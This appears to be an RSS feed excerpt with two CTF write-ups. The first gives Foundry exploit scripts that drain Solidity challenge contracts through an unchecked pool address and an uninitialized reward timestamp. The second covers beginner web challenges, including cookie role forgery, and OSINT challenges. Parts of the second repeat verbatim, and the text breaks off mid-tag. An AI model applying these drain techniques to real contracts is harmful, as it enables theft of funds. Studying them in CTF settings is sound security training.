            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hJ2pJcETKH3Y79WU.png" /></figure><p>Last weekend i played Cyber International 2024 with my SFD team and i solved 2 blockchain challenge, “Nusantara Fortune Pool” and “The Brothers Exchange”. Anyway here is the writeup.</p><h3>Nusantara Fortune Pool</h3><pre>contract Setup {<br>    NusantaraFortuneOperator public operator;<br>    address public poolA;<br>    address public poolB;<br>    address public poolC;<br>    address public poolD;<br>    address public poolE;<br>    address public poolF;<br>    bytes32[6] public poolIds;</pre><pre>    constructor() payable {<br>        operator = new NusantaraFortuneOperator();</pre><pre>        address[6] memory poolAddresses;</pre><pre>        for (uint i = 0; i &lt; 5; i++) {<br>            (poolIds[i], poolAddresses[i]) = operator.deployNewPool(i);<br>        }</pre><pre>        poolA = poolAddresses[0];<br>        poolB = poolAddresses[1];<br>        poolC = poolAddresses[2];<br>        poolD = poolAddresses[3];<br>        poolE = poolAddresses[4];</pre><pre>        // Deploy and activate the sixth pool<br>        (poolIds[5], poolF) = operator.deployNewPool(4);<br>        operator.activatePool(poolIds[5], poolF);<br>        operator.verifyPool(poolIds[5], poolF);<br>        operator.contributeToPool{value: 44 ether}(poolIds[5], poolF);<br>    }</pre><pre>    function activatePool(uint256 poolIndex) external payable {<br>        require(poolIndex &lt; 5, &quot;Invalid pool index&quot;);<br>        address pool = [poolA, poolB, poolC, poolD, poolE][poolIndex];<br>        require(msg.value == poolIndex*0.01 ether, &quot;Incorrect activation fee&quot;);<br>        operator.activatePool(poolIds[poolIndex], pool);<br>        operator.verifyPool(poolIds[poolIndex], pool);<br>    }</pre><pre>    function isSolved() external view returns (bool) {<br>        return address(operator).balance == 0;<br>    }<br>}</pre><p>We are given this Setup Contract, where the setup created 6 staking pool, where only the 6th pool is activated and verified. The setup contract contributed 44 ethereum to the 6th pool. We are also given a method to activate the other pool, which require 0.01 * poolIndex ethereum. Looking at the isSolved method, we will get the glag when we drain the operator balance to 0. Now we look into the operator contract. Our address only contain 0.044 ETH.</p><pre>contract NusantaraFortuneOperator is Ownable {<br>    mapping(bytes32 =&gt; address) private _fortunePools;<br>    mapping(bytes32 =&gt; uint256) private _lastVerified;</pre><pre>    // Deploy a new NusantaraFortunePool<br>    function deployNewPool(uint256 _rewardPercentage) external onlyOwner returns (bytes32, address) {<br>        NusantaraFortunePool newPool = new NusantaraFortunePool(_rewardPercentage);<br>        bytes32 poolId = keccak256(abi.encodePacked(address(newPool)));<br>        require(_fortunePools[poolId] == address(0), &quot;Pool exist&quot;);<br>        _fortunePools[poolId] = address(newPool);<br>        return (poolId, address(newPool));<br>    }</pre><pre>    function activatePool(bytes32 poolId, address pool) external onlyOwner {<br>        require(keccak256(abi.encodePacked(pool)) == poolId, &quot;Pool ID mismatch&quot;);<br>        require(_fortunePools[poolId] == address(pool), &quot;Pool ID mismatch&quot;);<br>        NusantaraFortunePool fortunePool = NusantaraFortunePool(pool);<br>        require(!fortunePool.getStatus(), &quot;Pool is already active&quot;);<br>        fortunePool.activate();<br>    }</pre><pre>    function deactivatePool(bytes32 poolId, address pool) external onlyOwner {<br>        require(keccak256(abi.encodePacked(pool)) == poolId, &quot;Pool ID mismatch&quot;);<br>        require(_fortunePools[poolId] == address(pool), &quot;Pool ID mismatch&quot;);<br>        NusantaraFortunePool fortunePool = NusantaraFortunePool(pool);<br>        require(fortunePool.getStatus(), &quot;Pool is already non-active&quot;);<br>        fortunePool.deactivate();<br>    }</pre><pre>    // Verify the pool periodically by ensuring it is active<br>    function verifyPool(bytes32 poolId, address pool) external {<br>        require(keccak256(abi.encodePacked(pool)) == poolId, &quot;Pool ID mismatch&quot;);<br>        require(_fortunePools[poolId] == address(pool), &quot;Pool ID mismatch&quot;);</pre><pre>        if (_lastVerified[poolId] == 0 || _lastVerified[poolId] + 1 days &lt; block.timestamp) {<br>            require(_verifyPool(poolId, pool), &quot;Pool is not active, please ask admin to activate&quot;);<br>        }</pre><pre>        _lastVerified[poolId] = block.timestamp;<br>    }</pre><pre>    // Withdraw staked amount from a specific pool<br>    function withdrawStaked(bytes32 poolId, address pool) external {<br>        require(keccak256(abi.encodePacked(pool)) == poolId, &quot;Pool ID mismatch&quot;);</pre><pre>        // Disallow verification on-the-fly in order to:<br>        // - Discourage user from withdrawing their money from our pool for the sake of retention.<br>        // - Encourage user to either contribute or claim reward for user retention.<br>        require(_lastVerified[poolId] == 0 || _lastVerified[poolId] + 1 days &gt;= block.timestamp, &quot;Pool isn&#39;t verified yet&quot;);</pre><pre>        NusantaraFortunePool fortunePool = NusantaraFortunePool(pool);<br>        <br>        // Call the pool to unstake and get the staked amount<br>        uint256 stakedAmount = fortunePool.unstake(msg.sender);<br>        <br>        // Transfer the staked amount back to the user<br>        (bool success, ) = msg.sender.call{value: stakedAmount}(&quot;&quot;);<br>        require(success, &quot;Staked amount transfer failed&quot;);<br>    }</pre><pre>    // Stake Ether into a specific pool<br>    function contributeToPool(bytes32 poolId, address pool) external payable {<br>        require(keccak256(abi.encodePacked(pool)) == poolId, &quot;Pool ID mismatch&quot;);</pre><pre>        // Verify pool on-the-fly in order to:<br>        // - Encourage user to contribute more to the pool.<br>        if (_lastVerified[poolId] == 0 || _lastVerified[poolId] + 1 days &lt; block.timestamp) {<br>            require(_verifyPool(poolId, pool), &quot;Pool is not active, please ask admin to activate&quot;);<br>        } else if (_fortunePools[poolId] != pool) {<br>            revert(&quot;Pool does not exist&quot;);<br>        }</pre><pre>        require(msg.value &gt; 0, &quot;Cannot stake 0&quot;);</pre><pre>        // Stake directly into the NusantaraFortunePool<br>        NusantaraFortunePool fortunePool = NusantaraFortunePool(pool);<br>        fortunePool.stake(msg.sender, msg.value, msg.sender == owner());<br>    }</pre><pre>    // Claim reward from a specific pool<br>    function claimPoolReward(bytes32 poolId, address pool) external {<br>        require(keccak256(abi.encodePacked(pool)) == poolId, &quot;Pool ID mismatch&quot;);</pre><pre>        // Verify pool on-the-fly in order to:<br>        // - Encourage user to claim reward for retention.<br>        // - Encourage user to contribute more due to the claimed reward.<br>        if (_lastVerified[poolId] == 0 || _lastVerified[poolId] + 1 days &lt; block.timestamp) {<br>            require(_verifyPool(poolId, pool), &quot;Pool is not active, please ask admin to activate&quot;);<br>        } else if (_fortunePools[poolId] == address(0)) {<br>            revert(&quot;Pool does not exist&quot;);<br>        }</pre><pre>        NusantaraFortunePool fortunePool = NusantaraFortunePool(pool);<br>        <br>        // Call the pool to distribute the reward<br>        uint256 reward = fortunePool.distributeReward(msg.sender);<br>        <br>        // Transfer the reward to the user<br>        (bool success, ) = msg.sender.call{value: reward}(&quot;&quot;);<br>        require(success, &quot;Reward transfer failed&quot;);<br>    }</pre><pre>    // Internal function to verify and get the pool status<br>    function _verifyPool(bytes32 poolId, address pool) internal view returns (bool) {<br>        return NusantaraFortunePool(pool).getStatus();<br>    }</pre><pre>    // Fallback function to accept Ether<br>    receive() external payable {}<br>}</pre><p>Looking at the contributePool Method, weirdly enough, the balance stays in the operator, so the pool contract that is deployed only records the deposit and reward data. Since we need to drain the operator contract, we will need to look over the method witch contains external call, which is “withdrawStaked()” and “claimPoolBonus()”.</p><p>Looking at “withdrawStaked()”. First, it check if the <strong>provided</strong> poolID(which is the hash of the address) fits the <strong>provided</strong> pool address. After that, it check if the lastVerified of the provided poolId is equal to zero or lastVerified + 1 day is more than the current block timestamp (pool has been verified less than a day before). After that, operator will call our provided address with unstake(address) to get the amount needed to transfer to us. And finally the operator will send ETH to our address.</p><p>We can see that there’s no check if the provided address is indeed a pool deployed by the operator. Also notice that any uninitialized storage mapping will return 0 for integers, So the value of a random address’ lastVerified will be 0, which bypass the require() line. We can call the withrawStaked method with our own malicious contract so that any unstake(address) call return 44 ether to drain the whole contract balance.</p><p>Here is the foundry script of the solution.</p><pre>contract MusangKing{<br>    function unstake(address temp) pure external returns(uint256) {<br>        return 44 ether;<br>    }<br>}</pre><pre>contract Solve is Script {</pre><pre>    function setUp() public {</pre><pre>    }</pre><pre>    function run() public {<br>        vm.startBroadcast(0x0712249d599c727a026445486789087d89a6bd75e3c81a2f9428975bad1cf3c8);<br>        address challAddress = 0xD69D1557BB484d71a952C593fC49d45CeA31378e;<br>        Setup chall = Setup(challAddress);<br>        MusangKing musang = new MusangKing();<br>        address musangAddress = address(musang);<br>        bytes32 musangId = keccak256(abi.encodePacked(musangAddress));</pre><pre>        NusantaraFortuneOperator operator = chall.operator();<br>        operator.withdrawStaked(musangId, musangAddress);<br>        require(chall.isSolved(), &quot;Challenge not solved&quot;);</pre><pre>        vm.stopBroadcast();<br>    }</pre><pre>}</pre><h3>The Brothers Exchange</h3><p>We’re give 1.1 ether and this setup contract.</p><pre>contract Setup {<br>    BudiExchange public budiExchange;<br>    GoodCoin public goodCoin;<br>    WicaksonoETF public wicaksonoETF;</pre><pre>    address player;</pre><pre>    constructor() payable {<br>        goodCoin = new GoodCoin();<br>        wicaksonoETF = new WicaksonoETF();<br>        budiExchange = new BudiExchange(address(goodCoin), address(wicaksonoETF));</pre><pre>        // Mint some initial GoodCoin for the BudiExchange<br>        goodCoin.mint(address(budiExchange), 2 ether);</pre><pre>        // Fund some initial reward for WicaksonoETF<br>        wicaksonoETF.fundReward{value: 10 ether}();<br>    }</pre><pre>    function setPlayer() external {<br>        require(player == address(0), &quot;Player has been set&quot;);<br>        player = msg.sender;<br>    }</pre><pre>    function isSolved() external view returns (bool) {<br>        return goodCoin.balanceOf(player) &gt;= 0.98 ether &amp;&amp; player.balance &gt;= 0.98 ether;<br>    }<br>}</pre><p>There is 2 ERC20 coin, GoodCoin is just a basic ERC20, and Wicaksono ETF is like a wrapper token around a vault. BudiExchange is an exchange contract for GoodCoin and WicaksonoETF. The Setup contract mint GoodCoin directly to the exchange contract and then fundReward on wicaksonoETF with the amount of 10 ether. We get the flag when the player (us) ETH balance is more than 0.98 and GoodCoin balance is more than 0.98 too. Now lets dive into the BudiExchange contract</p><pre>contract BudiExchange is Ownable {<br>    GoodCoin public goodCoin;<br>    WicaksonoETF public wicaksonoETF;<br>    <br>    uint256 public exchangeFeePercentage = 5; // 0.5% fee<br>    uint256 public constant FEE_DENOMINATOR = 1000;<br>    <br>    mapping(address =&gt; uint256) public lastExchangeTimestamp;<br>    uint256 public exchangeCooldown = 1 hours;</pre><pre>    event ExchangeCompleted(address indexed user, uint256 sharesAmount, uint256 foreignAmount);<br>    event FeeUpdated(uint256 newFeePercentage);<br>    event CooldownUpdated(uint256 newCooldown);</pre><pre>    constructor(address _goodCoin, address _wicaksonoETF) Ownable(msg.sender) {<br>        goodCoin = GoodCoin(_goodCoin);<br>        wicaksonoETF = WicaksonoETF(_wicaksonoETF);<br>    }</pre><pre>    function exchangeSharesForForeign(uint256 shareAmount) external {<br>        require(lastExchangeTimestamp[msg.sender] == 0 || block.timestamp &gt;= lastExchangeTimestamp[msg.sender] + exchangeCooldown, &quot;Exchange cooldown not met&quot;);<br>        require(wicaksonoETF.transferFrom(msg.sender, address(this), shareAmount), &quot;Transfer failed&quot;);<br>        <br>        uint256 sharePrice = wicaksonoETF.getSharePrice();<br>        uint256 foreignAmount = (shareAmount * sharePrice) / 1e18;<br>        <br>        uint256 fee = (foreignAmount * exchangeFeePercentage) / FEE_DENOMINATOR;<br>        uint256 amountAfterFee = foreignAmount - fee;<br>        <br>        require(goodCoin.transfer(msg.sender, amountAfterFee), &quot;Foreign currency transfer failed&quot;);<br>        <br>        lastExchangeTimestamp[msg.sender] = block.timestamp;<br>        emit ExchangeCompleted(msg.sender, shareAmount, amountAfterFee);<br>    }</pre><pre>    function setExchangeFee(uint256 _newFeePercentage) external onlyOwner {<br>        require(_newFeePercentage &lt;= 50, &quot;Fee too high&quot;); // Max 5% fee<br>        exchangeFeePercentage = _newFeePercentage;<br>        emit FeeUpdated(_newFeePercentage);<br>    }</pre><pre>    function setExchangeCooldown(uint256 _newCooldown) external onlyOwner {<br>        exchangeCooldown = _newCooldown;<br>        emit CooldownUpdated(_newCooldown);<br>    }</pre><pre>    function withdrawFees() external onlyOwner {<br>        uint256 balance = goodCoin.balanceOf(address(this));<br>        require(balance &gt; 0, &quot;No fees to withdraw&quot;);<br>        require(goodCoin.transfer(owner(), balance), &quot;Fee withdrawal failed&quot;);<br>    }<br>}</pre><p>We can’t call method with onlyOwner modifier, so we should only care for exchangeSharesForForeign() method. The method checks the cooldown and then transfer the token from caller to contract. The exchange contract then call the ETF contract for a price and then calculate the amount needed based on that price, and then send the corresponding amount of goodcoin to msg.sender. Now we need to visit the ETF contract.</p><pre>contract WicaksonoETF is ERC20, ReentrancyGuard, Ownable {<br>    uint256 public amountManaged;<br>    uint256 public feeReceived;<br>    uint256 public constant FEE_PERCENTAGE = 1; // 1% fee<br>    uint256 public totalReward;<br>    mapping(address =&gt; uint256) public lastBuyTimestamp;</pre><pre>    constructor() ERC20(&quot;WicaksonoETF&quot;, &quot;WETF&quot;, 18) Ownable(msg.sender) {}</pre><pre>    function buyShares() external payable {<br>        require(msg.value &gt; 0, &quot;Must send ETH to buy shares&quot;);</pre><pre>        uint256 fee = (msg.value * FEE_PERCENTAGE) / 100;<br>        uint256 amountAfterFee = msg.value - fee;</pre><pre>        feeReceived += fee;<br>        amountManaged += amountAfterFee;</pre><pre>        uint256 sharesToMint = calculateShares(amountAfterFee);<br>        _mint(msg.sender, sharesToMint);<br>        lastBuyTimestamp[msg.sender] = block.timestamp;<br>    }</pre><pre>    function withdrawShares(uint256 amount) external nonReentrant {<br>        require(amount &gt; 0, &quot;Amount must be greater than 0&quot;);<br>        require(balanceOf[msg.sender] &gt;= amount, &quot;Insufficient balance&quot;);<br>        uint256 ethToReturn = (amount * amountManaged) / totalSupply;<br>        _burn(msg.sender, amount);</pre><pre>        uint256 reward = 0;<br>        if (block.timestamp &gt;= lastBuyTimestamp[msg.sender] + 10 weeks) {<br>            reward = (totalReward * amount) / totalSupply;<br>            totalReward -= reward;<br>        }</pre><pre>        (bool success, ) = msg.sender.call{value: ethToReturn + reward}(&quot;&quot;);<br>        require(success, &quot;ETH transfer failed&quot;);<br>        amountManaged -= ethToReturn;<br>    }</pre><pre>    function calculateShares(uint256 amount) public view returns (uint256) {<br>        if (totalSupply == 0) {<br>            return amount;<br>        }<br>        return (amount * totalSupply) / amountManaged;<br>    }</pre><pre>    function getSharePrice() public view returns (uint256) {<br>        if (totalSupply == 0) {<br>            return 1 ether;<br>        }<br>        return (amountManaged * 1e18) / totalSupply;<br>    }</pre><pre>    function fundReward() external payable onlyOwner {<br>        require(msg.value &gt; 0, &quot;Must send ETH to fund reward&quot;);<br>        totalReward += msg.value;<br>    }<br>}</pre><p>fundReward() method only add the totalReward variable. buyShare substract the fee and then mint the token based on (amount * totalSupply) / amountManaged, pretty normal. Looking at the withdrawShares(), we can notice that to get the bonus, current timestamp is more than lastBuyTimestamp[msg.sender] + 10 weeks. If the withdrawee never bought any share and withdraw his money, lastBuyTimestamp[msg.sender] will be zero, since it is uninitialized. So if a user receive the share from other person and withdraw, he will always get the bonus. Also notice that the bonus amount is calculated based on the after burn totalSupply.</p><p>We can deposit ~1.1 ether to get Shares first, after it we can exchange ~0.99 share for the good token to fulfill that requirement first. We are left with ~0.1 share, we can transfer that to a new address and then withdraw the share from the new address to get the bonus. The bonus we got will be around 1 eth ((10 ether init bonus * 0.1 amountWithdrawn) / 1 eth totalsupply afterburn). which is enough for the isSolved constraint. For detailed POC, refer to the script below.</p><p>Here is the foundry script of the solution.</p><pre>contract Solve is Script {</pre><pre>    function setUp() public {</pre><pre>    }</pre><pre>    function run() public {<br>        uint256 privateKey = 0x73ade600fc8f7e758f7c6b8ec1e4dceea13a8c8675ed6bc74e017202550d3cb1;<br>        vm.startBroadcast(privateKey);<br>        //BSE 4-0<br>        address haxxor = vm.addr(0x40);<br>        address challAddress = 0x0A4A0041d16bf89D1674Ecc48f46A803fE51DdE9;<br>        Setup chall = Setup(challAddress);</pre><pre>        GoodCoin goodCoin = GoodCoin(chall.goodCoin());<br>        WicaksonoETF wicaksonoETF = WicaksonoETF(chall.wicaksonoETF());<br>        BudiExchange budiExchange = BudiExchange(chall.budiExchange());</pre><pre>        //buy shares (leave 0.01 for tx fee)<br>        wicaksonoETF.buyShares{value: 1.09 ether}();<br>        //approve etf to budi<br>        wicaksonoETF.approve(address(budiExchange), 10000 ether);<br>        //exchange shares for good token<br>        budiExchange.exchangeSharesForForeign(0.99 ether); <br>        //get ~0.98 good token</pre><pre>        //exploit the vulnerability in wicaksonoETF<br>        //transfer 0.1 share to haxxor<br>        wicaksonoETF.transfer(haxxor, 0.09 ether);<br>        <br>        //transfer good to haxxor<br>        goodCoin.transfer(haxxor, 0.98 ether);<br>        //for haxxor  gas<br>        payable(haxxor).transfer(0.0005 ether);</pre><pre>        vm.stopBroadcast();</pre><pre>        //haxxxor tx<br>        vm.startBroadcast(0x40);<br>        //withdraw share<br>        wicaksonoETF.withdrawShares(0.09 ether);<br>        //due to bug returns ~1 ether</pre><pre>        //init player<br>        chall.setPlayer();<br>        require(chall.isSolved());<br>        vm.stopBroadcast();<br>        <br>    }</pre><pre>}</pre><p>BYE~</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ec9e7f276c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WRITE UP:CTF BAHTERA SIBER]]></title>
            <link>https://medium.com/@sonicmuaz/write-up-ctf-bahtera-siber-2fac3cdbc124?source=rss-dc148c93e3c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fac3cdbc124</guid>
            <dc:creator><![CDATA[FROSTIVUS]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 07:48:27 GMT</pubDate>
            <atom:updated>2026-06-06T10:06:42.307Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/224/1*LzKvQqF2GeQPlx0thJ24zg.jpeg" /></figure><p>Big thanks to Bahtera Siber for putting together this year’s CTF with a cool patriotic theme celebrating Malaysia’s history. Mixing CTF challenges with historical bits made it both fun and educational.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KaLYR47MTaZ_KZK-k-KsLw.png" /></figure><p>The event had 55 challenges over 24 hours, and I managed to solve 40 of them. It was a beginner-level CTF, but there were a ton of participants — 902 to be exact ~~ and at the end I got the 8th place (<em>happy because top 10 will got prizes</em>)</p><p>So, here is my write-up. I hope you guys enjoy it!</p><blockquote>WEB</blockquote><h3>Sultan Yang Hilang</h3><p>The link leads to a webpage that displays a list of the Sultans of Kelantan.</p><p>When dealing with web challenges, it’s crucial to begin by examining the source code of the webpage. This can often reveal hidden information or clues that are not visible on the surface.</p><p>This code is a JavaScript snippet that retrieves information about sultans for specific years and displays it in a list on a webpage.</p><p><strong>Array of Years</strong>: It starts with an array sultanYears containing a list of specific years.</p><p><strong>Iteration</strong>: The code then loops through each year in the sultanYears array using the forEach method.</p><p>For each year, a fetch request is made to an API endpoint <strong>/api/v1/sultan/{year}</strong>, where {year} is dynamically replaced by the current year in a loop.</p><p>By navigating to each API endpoint, you can observe data being returned. For instance, visit https://&lt;link&gt;/api/v1/sultan/1763 to see a specific year’s data.</p><p>Example https://&lt;link&gt;/api/v1/sultan /1763</p><p>The challenge specifically asks for the missing Sultan. After conducting some research, it’s evident that Sultan Ahmad, who reigned in 1889, is the one missing from the provided list.</p><p>And we got the flag</p><p><strong>3108{putera_sulong_Sultan_Ahmad}</strong></p><h3>Selangorku</h3><p>Upon navigating to the link, we encountered a 403 Forbidden error. We’ll use curl to bypass this and retrieve the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*vBV4fTjLErSVLpWUeIF_-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*kjJ4KO3ET1C5AxcaqKU1MQ.png" /></figure><p>After using curl, we discovered an endpoint. By appending /hulu_selangor.html to the URL, we were able to find the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*2rwyek7Dh4I-X05h6vLf0A.png" /></figure><p><strong>3108{S3lang0r_temp4t_kelahiran_ku}</strong></p><h3>Hang Tak Tidur Lagi?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*exiErQ-iC_r3bod2qeyEEQ.png" /></figure><p>We were provided with a login page as the next step in the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*WU8AYoKwJlQoZLmr4L9iqg.png" /></figure><p>Looking from the source code we can see the credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*o0E3c_6We9GXAudqCoaBHw.png" /></figure><p>Login using tuah:tuah and we greeted with this message</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*-R1nA1ACnFT95I2guGZmBw.png" /></figure><p>The challenge mentions that we are “Laksamana,” and refers to the “Pembesar Berempat,” which includes the Bendahara, Penghulu Bendahari, Temenggung, and Laksamana.</p><p>To proceed, we might need to change our role to one of the other titles to gain access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*FEz57EA4V6rA3ykSSCfa0g.png" /></figure><p>We noticed that the session cookie named role appears to be encoded in base32. After decoding it using dCode, we found that the current role is “LAKSAMANA.”</p><p>To change roles, we simply need to create new session cookies for each of the “PEMBESAR BEREMPAT” roles, encode them in base32, and update the cookie with the new value.</p><p>BENDAHARA: <strong>IJCU4RCBJBAVEQI=</strong></p><p>Temenggung: <strong>KRCU2RKOI5DVKTSH</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*UAyRDLJ3aGtLTyQP0Kyw7Q.png" /></figure><p>PENGHULU BENDAHARI: <strong>KBCU4R2IKVGFKICCIVHEIQKIIFJES===</strong></p><p><strong>3108{1d0R_s4nG47l4h_Bah4y4!}</strong></p><h3>Wordle Bahasa Utaqa</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*jvt3xctzYokr_0U4g3T8Yg.png" /></figure><p>Just put some letters and play the game and we gonna get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*MoHONgwKlqacG0wjbMw1OA.png" /></figure><p><strong>3108{h4ng_m3m4ng_s3mp0i}</strong></p><h3>Kapla Harimau Selatan</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*L9z6dKCMnvINW6CrqQl6Kw.png" /></figure><p>We greeted with this</p><p>Looking through the source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*P8qvuLr6b30H8pb1IRbJ5g.png" /></figure><p>Navigate to reveal.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*7U44jmbiBZZ_DnrFetaJTw.png" /></figure><p>We examined the code and found a base64-encoded value. After decoding it, we got the phrase: <em>“Johor juga dikenali sebagai G_______ oleh orang Siam.”</em></p><p>Upon researching, we determined that the missing word is “Gangganu.”</p><p>It seems that we need to pass this value in the secondary header to proceed.</p><p>We can accomplish this using burpsuite by passing the value <strong>Gangganu</strong> in <strong>X-Custom_Header</strong></p><p><strong>3108{d941697cea9e3f34186780b68416961}</strong></p><h3>Bawang</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*dQq3_KleXyeOnK3lNRWX8w.png" /></figure><p>From the given strings we can use cipher identifier to identify its type</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*TtCyEL_TAB4EXXPauR6OzA.png" /></figure><p>The hint suggests that the URL is likely a Tor link. To access it, append <strong>.onion</strong> to the end of the link.</p><p>Open the modified link using the Tor Browser or any browser that supports Tor.</p><p>You will be presented with a login page.</p><p>Look in the source code for any hint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*i8ebvF8GIR-4V0pSAdFyMg.png" /></figure><p>We encountered a <strong>login.js</strong> file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*l9uC-4fb-GVKogAW.png" /></figure><p>We found the credentials in login.js and discovered that the base64-encoded password decodes to:</p><p><strong>Username: bawang</strong></p><p><strong>Password: membawangjekeje</strong></p><p>After logging in, we received coordinates for three locations. Check the reviews for these locations.</p><p>read the review for “Nasi Kandar Line Clear” and sort the reviews by the newest</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/0*MarrS9sdT6nFyrlB.png" /></figure><p><strong>3108{surrr_punya_tobat_jumpa}</strong></p><blockquote><em>OSINT</em></blockquote><h3>Malayan Union</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/0*OOBL8DsTDw5x-bZF.png" /></figure><p>We received an image and, after initial searches didn’t reveal the location, we turned to steganography.</p><p>Using Aperisolve, we extracted data from the image with steghide.</p><p>The extracted data provided a link. Download and open it to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*a_ZFffnfUJPEl4Ob.png" /></figure><p>We found a comment that appears to be base64-encoded. After decoding it, we obtained the link: <a href="https://ufile.io/cbdow1v1.">https://ufile.io/cbdow1v1.</a></p><p>Download the image file from this link.</p><p>If the file is corrupted and cannot be opened, the issue might be with the file header.</p><p>Open the file using a hex editor to inspect and possibly correct the file header.</p><p>Looks the header is modified</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*PRGvZJenaWi4rgkh.png" /></figure><p>Repair the file header using the jpeg signature</p><h3><a href="https://www.file-recovery.com/jpg-signature-format.htm">JPG Signature Format: Documentation &amp; Recovery Example</a></h3><h3><a href="https://www.file-recovery.com/jpg-signature-format.htm">JPEG Signature format definition and JPEG signature recovery example</a></h3><p><a href="https://www.file-recovery.com/jpg-signature-format.htm">www.file-recovery.com</a></p><p>Fix first three bytes and save it</p><p>We got this picture and find the location of it</p><p><strong>3108{Istana_Besar_Johor}</strong></p><h3>Privacy Matters</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/0*rtJnhbeM1kFVyuNl.png" /></figure><p>Start with tiktok</p><p>We noticed that the individual follows someone named p3tualang.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*pjC3KW8HynnYevgy.png" /></figure><p>Visit <em>p3tualang</em> profile and review the comments on their latest post for additional info.</p><p>The next hint directs us to his Instagram profile.</p><p>On his profile, check the highlights for relevant information or clues.</p><p>The last image shows him eating steak and has a flag-like header.</p><p>To find the original picture, look for hints in this image. It suggests something like ___steak.</p><p>Identify the nearest steakhouse to KTCC Mall in Terengganu, where he previously mentioned watching a movie.</p><p>This location is likely where he had the meal depicted in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*a7GpDoMX_YC2e0lV.png" /></figure><p>Found the review at the kbbsteak Terengganu and the flag</p><p><strong>3108{J4g4_pr1v4cy_4nd4!}</strong></p><h3>Perigi</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/0*3VJHQm58KmAEDhJM.png" /><figcaption>We encountered a <strong>login.js</strong> file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*EvyBJiiSQf8l8sjJ.png" /></figure><p>We found the credentials in login.js and discovered that the base64-encoded password decodes to:</p><p><strong>Username: bawang</strong></p><p><strong>Password: membawangjekeje</strong></p><p>After logging in, we received coordinates for three locations. Check the reviews for these locations.</p><p>read the review for “Nasi Kandar Line Clear” and sort the reviews by the newest</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/0*jTb-JyuHHD9dm9fe.png" /></figure><p><strong>3108{surrr_punya_tobat_jumpa}</strong></p><blockquote><em>OSINT</em></blockquote><h3>Malayan Union</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/0*yuMnBfKq3xu8Qhrz.png" /></figure><p>We received an image and, after initial searches didn’t reveal the location, we turned to steganography.</p><p>Using Aperisolve, we extracted data from the image with steghide.</p><p>The extracted data provided a link. Download and open it to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*eiohnZIyxVLw9ndw.png" /></figure><p>We found a comment that appears to be base64-encoded. After decoding it, we obtained the link: <a href="https://ufile.io/cbdow1v1.">https://ufile.io/cbdow1v1.</a></p><p>Download the image file from this link.</p><p>If the file is corrupted and cannot be opened, the issue might be with the file header.</p><p>Open the file using a hex editor to inspect and possibly correct the file header.</p><p>Looks the header is modified</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ZwWGVH4K9RPTcICc.png" /></figure><p>Repair the file header using the jpeg signature</p><h3><a href="https://www.file-recovery.com/jpg-signature-format.htm">JPG Signature Format: Documentation &amp; Recovery Example</a></h3><h3><a href="https://www.file-recovery.com/jpg-signature-format.htm">JPEG Signature format definition and JPEG signature recovery example</a></h3><p><a href="https://www.file-recovery.com/jpg-signature-format.htm">www.file-recovery.com</a></p><p>Fix first three bytes and save it</p><p>We got this picture and find the location of it</p><p><strong>3108{Istana_Besar_Johor}</strong></p><h3>Privacy Matters</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/0*cWOapZ8in1taMdWt.png" /></figure><p>Start with tiktok</p><p>We noticed that the individual follows someone named p3tualang.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*dd4HC5Jc2Ywp1Z28.png" /></figure><p>Visit <em>p3tualang</em> profile and review the comments on their latest post for additional info.</p><p>The next hint directs us to his Instagram profile.</p><p>On his profile, check the highlights for relevant information or clues.</p><p>The last image shows him eating steak and has a flag-like header.</p><p>To find the original picture, look for hints in this image. It suggests something like ___steak.</p><p>Identify the nearest steakhouse to KTCC Mall in Terengganu, where he previously mentioned watching a movie.</p><p>This location is likely where he had the meal depicted in the image.</p><figure><img alt="" 